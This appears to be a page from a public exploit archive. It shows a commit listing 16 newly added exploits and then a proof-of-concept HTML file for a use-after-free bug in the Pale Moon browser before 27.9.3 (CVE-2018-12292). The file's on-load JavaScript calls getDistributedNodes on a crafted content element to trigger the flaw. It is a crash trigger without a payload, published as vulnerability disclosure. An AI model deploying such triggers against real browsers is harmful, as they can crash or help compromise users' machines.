086cfb2c76
16 changes to exploits/shellcodes Nikto 2.1.6 - CSV Injection Pale Moon Browser < 27.9.3 - Use After Free (PoC) Audiograbber 1.83 - Local Buffer Overflow (SEH) Redis-cli < 5.0 - Buffer Overflow (PoC) Microsoft COM for Windows - Privilege Escalation Canon LBP6650/LBP3370/LBP3460/LBP7750C - Authenticaton Bypass Canon MF210/MF220 - Authenticaton Bypass Canon LBP7110Cw - Authentication Bypass Canon LBP6030w - Authentication Bypass Joomla! Component jomres 9.11.2 - Cross-Site Request Forgery RabbitMQ Web Management < 3.7.6 - Cross-Site Request Forgery Redatam Web Server < 7 - Directory Traversal
37 lines
No EOL
844 B
Text
37 lines
No EOL
844 B
Text
# Exploit Title: Pale Moon Browser < 27.9.3 - Use After Free (PoC)
|
|
# Date: 2018-06-13
|
|
# Author - Berk Cem Goksel
|
|
# Vendor Homepage: https://www.palemoon.org/
|
|
# Software Link: https://www.palemoon.org/palemoon-win32.shtml
|
|
# Version: Versions prior to 27.9.3 (Tested versions: 27.9.0, 27.9.1, 27.9.2)
|
|
# Tested on: Windows 10
|
|
# Category: Windows Remote Exploit
|
|
# CVE : CVE-2018-12292
|
|
|
|
|
|
<html>
|
|
<head>
|
|
<style>
|
|
</style>
|
|
<script>
|
|
|
|
function SetVariable(fuzzervars, var_name, var_type) {
|
|
fuzzervars[var_type] = var_name;
|
|
}
|
|
|
|
function jsfuzzer() {
|
|
|
|
var var_1 = var_2.getDistributedNodes();
|
|
SetVariable(var_1, 'NodeList');
|
|
|
|
}
|
|
|
|
|
|
</script>
|
|
</head>
|
|
<body onload=jsfuzzer()>
|
|
<!-- beginhtml -->
|
|
<content id="var_2" loopend="1" default="" max="0" charset="ISO-2022-JP"></content>
|
|
<!-- endhtml -->
|
|
</body>
|
|
</html> |